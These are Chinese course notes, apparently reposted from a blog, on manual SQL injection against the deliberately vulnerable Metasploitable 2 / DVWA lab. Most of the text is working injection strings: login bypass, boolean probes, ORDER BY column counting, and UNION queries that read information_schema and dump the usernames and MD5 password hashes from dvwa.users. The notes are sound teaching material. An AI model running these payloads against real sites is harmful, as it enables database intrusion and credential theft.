任务089:KALI版本更新(第一个ROLLING RELEASE)和手动漏洞挖掘(SQL注入)
笔记
靶机metasploitable-linux-2.0.0
-
sql注入介绍
服务器端程序将用户输入参数作为查询条件,直接拼接SQL语句,并将查询结果返回给客户端浏览器
也可以控制到客户端,也可以用sql注入上发文件,sql注入也读取文件
其实注入的都是sql语句
1.1.原理下面是一个比如无需密码登陆
1.1.2.这个是正常情况下 SELECT * FROM users WHERE user=‘里面是用户输入的账号 AND password=‘里面是用户输入的密码‘
1.1.3.注入无需密码登陆SELECT * FROM users WHERE user=‘账号还是原账号’ AND password=’‘空格OR’1’=‘1’
上面那个输入密码的地方’‘空格OR’1’='1’意思介绍,‘空密码’ OR是逻辑运算符或1=1这两个数都是真条件就满足,满足就是真,账号对密码对就登陆成功了。
应为服务器端没有过严格的过滤导致的注入 -
开始实验靶机metasploitable-linux-2.0.0
正常情况下
2.1.基于报错的检查方法
‘ “ % ( )
判断报错就能判断是否访问数据库
输入个’发现报错了说明可能带是叫‘带入了数据库
2.2.基于布尔的检查方式
1’ and ‘1’=‘1 或1’ and ‘1
1’ and ‘1’=‘2 或1’ and ‘0
2.2.1.使用1’ and ‘1’=‘1
发现输入可以正常显示说明
应为1 然后 逻辑and或运算符1=1两个都是真所有可以正常显示
下面是1=2为假数据库就报错了
and竟然是逻辑或那没就直接可以and '1这个也是真
发现可以正常返回正常页面
2.3.查看sql语句查看了多少查询的字段
查看字段可以进行进一步的的注入方法,每个查询的字段都有可能是我们注入更好的选择
有的时候检查的有2个字段,但是字段是*的话 应为星的所有字段那么检查的时候可能会查询10几个或者是20几个
下面那可以看到有2个字段
这个输入输入都一样‘ order by 要查询多少个语句 –
如果查询错了那就返回页面报错
点击提交
发现抱错了,抱错说明不是50个字段
然后在9,发现也报错了,说明也不是9字段
然后在2发现没有返回任何东西,说明是2个字段,要是1也不会返回任何东西只能是大于才进行报错
可以用burp工具
2.4.联合查询union 和union all
2.4.1.union
使用union来选择查询
’ union select 1,2 – ‘上面我已经知道有2个所以这个我就选择查询1到2个
第一个’是进行给前面闭合的,后面–是注释的符号
下面是演示叫字段显示出来
2.4.2查询用户1’union select user(),2 –
这个user()查询当前用户
2还是查询2个字段
看一下结果
下面都是利用这2个这个字段来进行查询的
2.4.3.查看版本
’ union select user() ,version() –
version()是sql函数他是查看版本的
看一下结果
2.4.4.查看当前目录
’ union select user() ,@@datadir –
@@datadir 是查看当前目录
看一下结果
2.4.5.查看目标电脑用户名
’ union select user() ,@@hostname –
@@hostname是查看电脑用户名
看一下结果
2.4.6.查看系统
’ union select user() ,@@version_compile_os –
@@version_compile_os是查看系统类型的
看一下结果
2.4.7.叫所有的函数放到一个字段里
’ union select user() ,CONCAT_WS(CHAR(32,58,32),user(),database(),version()) –
CONCAT_WS()是叫函数连接起来
查看一下结果
2.5.mysq查看linformation_schema内容
库和表都在linformation_schema进行联合查询库库内容
2.5.1.’ union select table_name,table_schema from information_schema.tables-- 查看 information_schema所有的内容
第一个字段是table_name
第二个字段是table_schema from information_schema.tables
用的是table_schema这个字段 from是查询查询那个查询的是 information_schema
看一下结果
2.5.2.统计一下所有的库和表的数量
’ UNION select table_schema,count(*) FROM information_Schema.tables group by table_schema –schema是查看库然后用count(*) 来计数计算的是information_Schema的表,
看一下结果
我发现存在一个漏洞都可以叫所有库和表都能查出来
2.5.3.查看DVWA库里面的表
’ union select table_name,table_schema from information_schema.tables where table_schema=‘dvwa’–
在前面基础加上了where table_schema='dvwa’意思是只查dvwa库
看一下结果
可以看的有个users的表名里面可能放着用户密码,users是最有可能怀疑的对象
2.5.4.查看users表里面的列
’ union select table_name,column_name from information_schema.columns where
table_schema=‘dvwa’ and table_name='users’–+
where table_schema='dvwa’在这个dvwa查看users表里都有什么列
看一下结果
发现了 user里面可能放着账号
发现了password里面可能放着密码
2.5.5.查看 user列和password列的内容
’ union select user,password from dvwa.users–
user,password 查看user里的password
dvwa.users查看dvwa里的users
看一下结果
可以看的列出来了的所有的用户和密码
密码被加密了
下面是进行解码 -
解密
下面是进行解密上面的怀疑是哈希值的
用hash-identifier工具进行看看是什么进加密的,这个工具kali自带
发现是MD5
创建一个a。
转载:https://blog.csdn.net/qq_41860876/article/details/101381226